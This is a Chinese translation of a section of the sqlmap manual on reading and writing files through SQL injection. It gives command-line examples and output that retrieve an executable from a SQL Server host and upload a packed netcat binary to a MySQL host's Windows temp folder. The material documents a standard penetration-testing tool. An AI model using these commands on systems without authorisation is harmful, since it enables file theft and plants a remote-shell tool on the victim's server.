3.13 SqlMap用法—文件系統訪問

3.13.1.從數據庫服務器的文件系統讀取文件

選項： --file-read

當后端數據庫管理系統是MySQL，PostgreSQL或Microsoft SQL Server，并且會話用戶具有濫用數據庫特定功能和體系結構弱點所需的特權時，可以從基礎文件系統中檢索文件的內容。指定的文件可以是文本文件或二進制文件。sqlmap將正確處理它。

這些技術在白皮書“ 高級SQL注入到操作系統的完全控制”中有詳細介紹。

針對Microsoft SQL Server 2005目標以檢索二進制文件的示例：

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

3.13.2.將文件上傳到數據庫服務器的文件系統

選項：--file-write和--file-dest

當后端數據庫管理系統是MySQL，PostgreSQL或Microsoft SQL Server，并且會話用戶具有濫用數據庫特定功能和體系結構弱點所需的特權時，可以將本地文件上載到數據庫服務器的文件系統。指定的文件可以是文本文件或二進制文件。sqlmap將正確處理它。

針對MySQL目標上傳二進制UPX壓縮文件的示例：

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'